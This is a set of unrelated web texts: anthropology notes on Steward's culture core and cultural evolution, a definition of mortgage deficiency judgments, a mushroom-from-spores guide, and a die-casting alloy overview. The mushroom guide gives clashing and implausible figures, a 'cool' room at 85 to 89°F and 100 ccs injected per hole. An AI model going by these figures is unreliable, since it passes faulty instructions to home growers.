He was reacting to two other views he considered oversimplified. The first was environmental determinism, championed by a geographer, Ellsworth Huntington.
Steward’s second procedure was to trace the effects of technology to patterns of social behavior, especially the organization of work.
Steward’s most famous example is the way the organization of hunting and gathering work varied as a function of environment in North America.
The third procedure was to trace the effects of technology and work organization as they affect other parts of culture. For example, the demography of a society, including such things as its total size and the size of individual settlements, is a function of economic productivity. The amount of resources a society can obtain depends upon the environment, the technology, and how effectively work is organized. Total size and settlement size in turn affect the economic division of labor. Large societies can support craft specialists, like weavers and potters who make tools for everyone else and trade for food. In small societies, craft specialization is curtailed; everyone has to make tools for themselves because the number of potential customers is too small to support a specialist.
Steward’s main ideas are summarized in his concept of the culture core. The culture core is those features of culture that really are illuminated by the technological window. They are those features that are related to the work of making a living in a particular environment.
Technology is the “window” through which people look at their environment. Our adaptations are mainly technological, and how we interact with any given environment depends first of all on the tools we bring to that environment.
The highly social nature of humans is unusual. Most animals are more like bears than humans–solitary and hostile. large-scale cooperation with non-relatives is especially unusual.
At a given level of technology, culture core variables should be a strong function of environment; environmental determinism should work well enough within sets of societies deploying a similar technology.
Demography is a key variable relating environment to many culture core features.
Hunter-Gatherer Societies:
The single most important consequence of hunter-gatherer technology is that it ordinarily supports very low human population densities.
Not only were the densities of most hunters and gatherers low, but typical settlement sizes are also small.
The typical hunting and gathering band must move frequently, often as frequently as every few days.
Hunting and gathering technology typically results in very simple social systems.
Knauft (1988) has recently emphasized that the murder rate is remarkably high in all the well-known politically very simple societies due to the use of self-help violence. (This category includes some tropical horticulturalists, and most contemporary hunter-gatherer groups, that are characterized by very small settlements, low population density, and strongly egalitarian social systems.)
In spite of hostile relations, trade was often moderately important to hunter-gatherers.
The culture core idea works for hunter-gatherer societies.
Horticultural Societies:
Horticultural societies have agricultural systems that are relatively unproductive per unit of human labor compared to plow agriculture, and more productive per unit land area than hunting and gathering.
Despite the relative simplicity of the technology, something like a 100 or more domesticated crops are kept, and plots are botanically complex.
In the poor soil regions of the very wet tropics human densities under horticulture are often very low. In Amazonia and lowland New Guinea, densities are well within the range for hunters and gatherers, a fraction of a person per km2
In general horticulture is capable of supporting as many or more people per unit land as under the plow, just with more human labor per unit of yield.
More typically, horticultural societies are either organized around “Bigmen” or Tribal Chiefs.
In many horticultural societies, women contribute disproportionately to subsistence activities because they are responsible for most of the gardening work… Polygyny is also common in horticultural societies for the same reason. When women are the principle wealth producers, a man may get rich by having several wives. Men seem rather parasitical in horticultural societies, because they often do relatively little subsistence work but arrogate to themselves important political and military roles.
There seems to be a strict limit to the number of people that can be organized politically under the big man system, only up to a few hundred people.
Political systems based on hereditary politicians (Chiefs) organize fairly large-scale political units. Chieftainships have a hereditary principle of political power, and, as they are elaborated, evolve into the ascriptively stratified societies so common historically.
Warfare is typically much more important under horticultural than hunter-gatherer technology… Terroristic practices such as headhunting, headshrinking, scalping, and cannibalism are commonly practiced by horticulturalists.
The ecological and humidity gradient from the Pacific across the Andes into the Amazon Basin is one of the most spectacular in the world. It provides an excellent example of how the same basic subsistence system can lead to very different outcomes in different environments by the Stewardian culture core mechanism.
The human ecological gradient was equally sharp. The wet Eastern lowlands were the home of simple horticulturalists and hunters and gatherers. The intermontane valleys and miniature Niles along the Peruvian Coast were host to sophisticated chiefdoms, citystates, and ultimately the Inca Empire.
Pastoral Societies
Pastoral societies are those that have a disproportionate subsistence emphasis on herding domesticated livestock… The most important defining criterion perhaps is the organization of community life around the needs of the herds. Typical herding societies are “nomadic.”… Nomadism is a technological adaptation to scarce and ephemeral pasturage that has major ramifying effects on culture core features that are absent if animals are managed from a fixed home base.
Pastoral societies are theoretically important because they exhibit non-progressive evolution.
Imagine how the history of the Old World might have differed if the ratio of the grasslands favorable to pastoralism to those where the farmers could dominate had been, say, twice as great as it was.
The technology of pastoralism is largely just the animal husbandry component of the prevailing horticultural and agrarian technology, more or less thoroughly shorn of its plant cultivation component.
Thus animal specialists are often motivated to trade much of their valuable animal production for grains, crafts and manufactures, luxuries and so forth. Settled peoples often pay tribute to pastoralists to avoid raids, or pay some pastoralists to protect them from other pastoralists.
The key to the culture core of pastoralism is the mobility made possible by herders. Quite small groups, usually a patrilineal extended family that collaborates to manage one herd, is the basic social unit. It can operate as a nearly autonomous social system with tenuous ties to other families. However, mobility means that many such units can potentially assemble in one place. Thus tribes and confederations of tribes can also arise. Historically, the scale of pastoral societies tended to fluctuate unpredictably. More often than not, pastoral societies were small and independent, with much conflict between tribal segments within ethnic groups. In the great waves of conquest in the Old World, multi-ethnic confederations arose. The Mongols organized an imperial state on the basis of nomad conquest.
Pastoral societies are tremendously variable in terms of the details of their technology. Perhaps the most important distinctions are those based on sophistication of transport methods. The pastoralists of the Eurasian Steppe, including Indo-Europeans in the early days, Turks and Mongols later, made extensive use of wheeled transportation, as well as riding horses. The Camel nomads of the Eurasian and North African deserts rode but seldom used cartage. The late, specialized North and South American equestrian hunters were similar to the Arab Bedouin in this respect. Finally, the Eastern and Southern African cattle herding pastoralists used neither carts nor riding animals. Their toolkit and social organization is more horticultural than agrarian… Carts allowed Eurasians to carry a larger fraction of the agrarian toolkit around with them, and to assemble and supply larger collections of people in one place. without having a very complex political system.
Pastoral societies were absent in the New World.
The sexual division of labor is sharply marked in pastoralist societies. First of all, men are often largely responsible for herding larger stock such as cattle, whereas women engage in handicrafts, food production and processing, small-stock herding (goats, sheep) and the milking of livestock at camps. The division of labor is underlined by the grossly disproportionate emphasis on masculinity in these societies.
By discovering the fundamental tactical advantages of movement, concentration, surprise, and offensive violence, pastoralists could defend themselves from numerically and technically superior armies of states.
The evolution of pastoral military institutions tends to snowball. In the first place, herd animals are relatively easy to rustle, and pastoralists everywhere are in the habit of stealing from each other. Rustling keeps fighting skills tuned to a high pitch. Furthermore, the pastoralists’ skills are quite suited to general banditry and raiding on the agricultural fringe.
The main deterrent to pastoral conquest of states is the relatively small size and mutual hostility of the pastoral tribes. However, as the Sioux-Cheyenne confederation at the Battle of the Little Bighorn illustrates, sometimes the tribes can unite, and the inherent power of pastoral mobility can be increased sharply, both because of less need to protect the grassland rear, and more warriors for the raid or assault. Once a few tribes unite, they are in a position to use the carrot and stick on still other tribes. The choice is: join the confederation for a great raid, or die!
In all, civilized Eurasian suffered 4 major invasions, the Indo-Europeans (ca 5,000 BP), the Hun and German invasions just mentioned, the Arabic expansion in the 7th Century, and the Mongol invasions of the 13th Century.
Agrarian Societies
As agrarian technology developed, the potential for substantial gains in per capita production arose as more sophisticated technology was put into farmers’ and artisans’ hands. Gains in production per unit of land and per unit of human labor have somewhat different implications for culture core traits, as we have already noted.
The tragedy of agrarian societies is that this potential was not generally realized. A combination of exploitation by elites and population growth tended to erase any gains in well-being for most cultivators. This is essentially the argument of T.R. Malthus.
The defining trait of agrarian technology is the presence of plows and draft animals. No single technical principle has proven quite as important as the idea of substituting non-human power for human labor.
Heavy plows were responsible for the medieval economic and socio-political revolution of Europe. Heavy plows were known in Roman times, but only came into widespread use in the Medieval period in Europe, where they allowed the cultivation for the first time of the heavier, wetter, inherently more productive soils common north of the Alps. Prior to the extensive use of moldboard plows, Northern European settlement was mostly confined to belts of lighter soils that could be farmed with the scratch plow. As late as 1000 AD 80% of Europe was still covered by dense forest and was only opened to the plow by a wave of pioneering that lasted until 1300 or so.
Many scholars have suggested that innovations tended to come in irregular bursts, and that long periods of near stasis were the rule.
Agrarian technology permitted urbanization of population to a greater extent than was possible under horticulture.
Under agrarian technology men’s labor becomes relatively much more important, chiefly because managing large animals is almost always, like hunting, men’s work.
Agrarian societies are especially noted for their extremes of social stratification. The high-ranked lineages of tribal horticultural societies become (typically) a much more exalted ruling class, still typically combining religious and military institutions to justify and enforce their domination and support elaborate patterns of consumption. Slavery, serfdom, or peonage is commonly the lot of the primary producer. The emphasis in the modern West on personal liberties and freedoms (and in the Marxist countries on economic equality for that matter) was in large part a reaction to the steep and rigid stratification of agrarian societies.
Increasing social stratification is linked to a more developed division of labor.
The main institutional innovation of agrarian societies is the state.
On the one hand the state is an effective institution to manage the immense redistribution required if productive farmers are to be linked to specialist producers of metal tools, cartwheels, cloth, and the like.
On the other hand, the productive division of labor of agrarian societies is a strong temptation to the guileful priest and the greedy warrior. These two classes often combine to extract a scandalously disproportionate share of the farmers’, artisans’ and traders’ efforts.
States begin to control internal violence by enforcing a rule of law.
One apparent consequence of the political complexity of states is that they tend to be unstable. Dynastic changes, foreign occupation, and the collapse of imperial states into smaller constituent city states, even the regression of states to the tribal scale of organization are common. Further, it is common for large states and empires to co-exist in similar environments, using similar technologies, with small city states or even tribal societies.
Commercial/Industrial Societies
By one useful definition, commercial and industrial societies are those with less than half of their population engaged directly in agricultural production… Perhaps the most important point is that these societies, in contrast to the agrarian or horticultural type, are not dominated quantitatively or qualitatively by people with a direct interest in food acquisition.
The key initial development of commercial/industrial technology was a cheap means of seaborne transportation. The improvement of sailing ships to 100+ tons was, in hindsight at least, one of history’s most pregnant developments. All-weather, seagoing vessels that could navigate the length and breadth of the Mediterranean and carry on a trade with Northern Europe were available by about 1300.
The degree of occupational specialization increases dramatically in commercial and industrial societies.
The social structure of commercial and industrial societies is quite unique in the numerical predominance of a middle class based on achievement.
Modern middle-class child-rearing styles resemble those of hunters and gatherers more than they do those of the peoples of agrarian states. The stress is once again on relatively relaxed discipline, and on the encouragement of independence.
What Steward’s culture core concept lacks is a precise account of the mechanisms by which adaptive variations within technological types arise, and how evolutionary transformations between technological types occur. Ecological anthropologists like Steward developed a very successful descriptive scheme, but a less impressive explanatory system.
The Key to Population Thinking:
Pay attention to what individuals do in the short run. Then add up over all the individuals in the population, and imagine the same basic processes go on for many generations. Do the arithmetic and see what ought to happen.
Often the very simplest calculations give you 50-75% of the insight into causal processes that could be obtained from the full-blown theory at a small fraction of the work.
Culture as a mechanism for inheritance of acquired phenotypic variation.
Culture is socially learned information capable of affecting individual phenotypes. People acquire culture from other individuals, via teaching or imitation.
The claim advanced by Campbell and defended here is that the differences between genes and culture are very important, but that Darwinian methods are equally applicable to both because of the key similarity of transmission of information by variable individuals through time.
You’ve all heard of the “nature-nurture” debate. This debate is confused because it lumps culture—transmitted effects that are very gene-like—with direct effects of environment on behavior through individual learning and the like. It is very important not to confuse environment and culture.
Genes are a complex DNA-based inheritance system which is often associated with the concept of ‘nature.’
CULTURE is acquired via social learning or imitation from other individuals.
Environment consists of things and processes that are external to the organism or population being studied.
What culture an individual gets depends on the population in which it lives. Two individuals that have very similar genotypes, and live in the same environment, may behave quite differently if they have been socialized by different cultures.
In the short run, cultural tradition was more important than individual or group choices, decisions, and learning. But over the longer run, changes were accumulating. This is consistent with an evolutionary model of cultural transmission.
When environments change very rapidly from generation to generation, but without any overall trend, any form of information derived from the experience of parents via learning or selection is useless. In this situation, the fixed learning rule is best.
When environments change very slowly, selection on genes causes the genetically transmitted guess to track the environmental change almost perfectly, and any individual learning is disadvantageous because of the extra costs and errors caused by learning.
When environments change at moderate rates, the inheritance of acquired variation is a virtue. Cultural transmission can track environmental change faster than genetic transmission because both guided variation and selection are acting together. Human societies exhibit cooperation, coordination, and division of labor, three features that place them at striking variance with most animals
Highly social animals are rare, and basic Darwinian analysis shows why (Alexander, 1974). An animal’s conspecifics, members of its own species, are its closest competitors for food, mates, shelter, and so forth. Groups are likely to be easier for predators to spot, and group living ought to favor the spread of diseases. The theoretically most interesting problem is competition. Why should any animal help its competitors?
Animals are thus usually solitary, staying as far away from their fellows as is practically possible. In most mammals, the contact between the sexes is limited to mating, and “society” consists of the minimum coordination between adults necessary for fertilization, mothers’ contribution of resources to juveniles to the point of independence, and no division of labor at all.
Even in the case where animals do live in groups, the degree of cooperation, coordination and division of labor within groups is usually very modest. For example, in herds of grazing animals or in schools of fish, there is virtually no cooperation, or division of labor.
There is just a system of coordinating movements.
In essence, in a selfish herd animals are hiding behind each other.
When cooperation does exist, the groups are typically very small. Many birds form
mated pairs that cooperate to raise a nest of young, but bird flocks, when they exist, are selfish herds. A division of labor is even rarer, aside from those differences directly enforced by the biology of sex. Even in the case of sex, the commonest form of “division” of labor is that males contribute less or nothing to the rearing of offspring compared to females.
Why is it so hard for cooperation to evolve, if it is so successful when it does evolve?
This is a classical problem. Economists have analyzed the problem under the heading of the “public goods problem”. Game theorists have dealt with the same problem in their research into the perverse logic of the “prisoners’ dilemma game”… In all of these manifestations, the problem is that the altruistic self-sacrifice of individuals for the common good is hard to explain.
Commerce and Trade
The economic advantages of the division of labor are quite large… Yet, relatively few species have evolved a division of labor and the human expansion of the division of labor to create modern economies is a very late process. The key question is “Why is it so hard to achieve a division of labor?”
There must be some serious impediments in the way of a free evolution of a division of labor. We argue that the primary problem is one of cooperation. A division of labor generally requires that partners be able to resist taking unfair short-term advantages.
War is one of the most dramatic types of interactions between human groups. Indeed,
it is one of the most dramatic types of human behavior. It is also arguably one of the most important types of interactions in terms of its effects on the sizes and distribution of human populations and on the human evolutionary process in general. It is also one of the most characteristically human kinds of behavior. Other animals often fight, but very few of them fight in large, organized groups against other large, organized groups the way humans do.
Only humans have the requisite levels of cooperation, coordination and division of labor.
Diffusion of Innovations
Diffusion of innovations between societies is one of the most important processes in cultural evolution. The diffusion of innovations is important because it is relatively hard to invent (or develop) many kinds of useful knowledge. Complex techniques (e.g. maize farming) are combinations of many skills, and develop over a long period of time. It is usually difficult to invent all the requisite parts in the right order, foresee the advantage of nascent new technology,etc. It may also require a special environment or a historical/cultural preadaptation to make the earliest steps of an invention possible. It is usually much easier to acquire all but the simplest skills from someone else than it is to try to invent them for yourself.
Most societies have undoubtedly acquired most of their cultural repertoire by diffusion.
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Deficiency Judgment – Definition
Deficiency Judgment Definition
A deficiency judgment is a court ruling issued against a debtor when the money realized from the sale of a property did not cover the payment of outstanding debt. It is a judgement that requires that a debtor pays more money to pay back an unsettled debt. A deficiency judgement is issued when a debtor in a secured loan is in default and the sale of property executed to pay back the debt is not sufficient to pay up the debt.
In other words, a deficiency judgement is a judgement stating that a homeowner is yet to settle a lender in full even after the sale of a property.
A Little More on What is a Deficiency Judgment
A deficiency judgement is mostly used in mortgages. When a homeowner is in default and a foreclosure judgement is given on the property, if after selling the property, the money realized from the sale is insufficient to repay the mortgage debt, a deficiency judgement can be issued.
For instance, if the outstanding debt a homeowner owes is $500,000 and suh a homeroner goes into default. The lender can seek a foreclosure judgment that allows the property to be sold in order to repay the debt. If after selling the property, the borrower raises $350,000 and is unable to recoup the full amount to be repaid to the lender, a deficiency judgement can be given. This judgment can be likened to a lien placed on the debtor for further money.
A High Bar for Deficiency Judgments
According to the law of many states, a deficiency judgement is not allowed after a foreclosure, rather, the remaining debt must be forgiven. Before the sale of property is done, the lender must consent to the price at which the property is being sold, the bank must also give an approval. The amount realized from the sale is given to the lender as a repayment for the debt. After this is done, many states disallow a deficiency judgement that requires the default borrower to pay an additional money.
States that allow deficiency judgments do not make the judgement automatic, it is only seen as necessary of the lender moves a motion for further payment, if otherwise, the money generated from the foreclosed property is regarded as enough.
In some other states, deficiency judgments are allowed in short sales which is a sale where a bank sells the property of a borrower at a price lower than the loan amount. When a deficiency judgement is given, a debtor seek an exemption or file a court motion which allows an overturning of the judgement. One quick way to achieve this is by filing bankruptcy which allows the remaining debt to be forgiven. The Internal Revenue Service in the US regard a forgiven debt as an income which individuals are expected to pay taxes on.
Reference for “Deficiency Judgment”
https://www.investopedia.com › Personal Finance › Mortgages
https://www.thebalance.com › Personal Finance › Banking and Loans › Getting a Loan
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How to Grow Mushrooms From Spores
Growing mushrooms from spores with a syringe and a substrate is one of the most common and simple ways to grow mushrooms for your garden or household. People have been growing them for centuries for medicinal and culinary purposes, and it requires less time and materials then people may think. Not only do they have practical use, but growing mushrooms can also enrich your landscape. Growing mushrooms will enrich your landscape, compost pile, produce and save you money in the long run. Keep in mind some key steps when growing mushroom spores.
Preparation for Mushroom Cultivation
Sterilize the mason jars with the pressure cooker, making sure to follow the directions exactly. Cool the jars for at least 10 hours.
Choose a substrate to cultivate the mushroom spores. Wild bird seed is an ideal substrate. Fill the jars half full with the bird seed.
Poke four holes into each mason jar lid, using the needle (give it a little more force with the hammer if necessary). The holes need to be about 1/3 inch in diameter, scattered evenly around the lid. Use the needle to stuff contaminant-repelling polyfill into each hole. Polyfill is polyester fibers, and can be found at craft stores.
Put the lids onto the jars. Keep them in a cool dry room, out of direct sun.
Use a lighter to heat up the syringe needle for about ten seconds, in order to sterilize it. Swab the length of the needle with a cotton ball soaked in the alcohol.
Insert the sterilized needle carefully into each poked hole in each lid. Pass it through the polyfill until the needle hits the bird seed. Inject 100 ccs of the spore into the seed, through each hole. Re-sterilize the needle after each injection.
Cultivating the Mushrooms
Place the completed spore jars back into the cool dry storage place. Make sure it the temperature stays between 85 and 89 degrees Fahrenheit. Watch the jars until you notice a white cobweb-like material, called mycelium, start to grow on the bird seed. If the color of the mycelium is anything but white, throw out the entire jar and start over.
Let the mycelium develop until it has completely overtaken the bird seed, molding it into a hamburger patty shape of white growth.
Bring a plastic container to the mason jars. Layer one inch of perlite in the bottom of it. Angle the mason jar towards the container, and slide it as smoothly as possible onto the perlite. Check on the spores around four times per day, opening the container to provide fresh air for the developing mushrooms. Within ten days you should notice pinhead mushrooms beginning to sprout.
Harvest the mushrooms once they reach the size you want. They usually reach mature growth once the cap separates from the stem.
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Do you know what are the die casting materials?
Die-casting is a type of pressure-casting part. It is a die-casting mechanical die-casting machine equipped with a casting mold. The heated liquid metal is poured into the inlet of the die-casting machine. Size parts, such parts are often called die castings. So what materials are usually available for die casting? Bengbu Longhua Die Casting Machine takes you to find out.
The main alloy materials for die casting are tin, lead, zinc, aluminum, magnesium, and copper. Zinc and aluminum alloys are the most widely used, by magnesium and copper alloys. At present, zinc, aluminum and magnesium alloys are mainly used in the electronics industry.
Die-cast zinc alloy
The molten state of the zinc alloy is very good, with a low melting point of only 365 degrees. Various post-processing can be performed, such as plating. Therefore, it has a wide range of uses. It was also used a lot in the mobile phone industry before, but because of the large ratio, the poor corrosion resistance was gradually eliminated by aluminum alloys. Currently the most used is the bathroom industry. Alloys 2, 3, 4, 5, and 7 are commonly used, and currently the most widely used is alloy 3.
Die-cast aluminum alloy
Aluminum alloy has low density but high strength. It is close to or exceeds high-quality steel. It has good plasticity and can be processed into various profiles. It has excellent electrical conductivity, thermal conductivity and corrosion resistance. It is widely used in industry, and its usage is second only to steel. . The specific weight of aluminum alloy is only about 1/3 of that of iron, so it is very important in various industries at present, especially in the indispensable role in the lightweight process of aircraft, ships, automobiles, and electronic equipment.
Commonly used are Al-Si-Cu series, and ADC12 (A383), ADC10 (A380) are common. There are also Al-Si-based, Al-Si-Mg-based, and Al-Mg-based. What is currently called aluminum-titanium alloy is modified by adding titanium metal to the above materials. Adding titanium metal can significantly improve the mechanical properties of the product.
Die-cast magnesium alloy
Magnesium alloy is an alloy composed of magnesium and other elements. Its characteristics are: low density, high specific strength, large specific modulus of elasticity, good heat dissipation, good shock absorption, greater shock load capacity than aluminum alloy, and good resistance to organic and alkali corrosion. The specific gravity of magnesium is about 2/3 of aluminum and 1/4 of iron. Therefore, it is widely used in mobile phones, communication equipment and other electronic equipment, auto parts, and medical equipment.
At present, the most widely used are magnesium aluminum alloys, by magnesium manganese alloys and magnesium zinc zirconium alloys. Commonly used grades are AZ91D, AM60B, AM50A, AS41B and so on.
With the continuous improvement of the development level of the domestic manufacturing equipment industry, the equipment level of die-casting machines has also improved significantly, the types of parts that can be manufactured have also been continuously expanded, and the precision and complexity of parts produced by die-casting have also been greatly improved Bengbu Longhua Die Casting Machine believes that in the near future, die castings will better serve our production and life!
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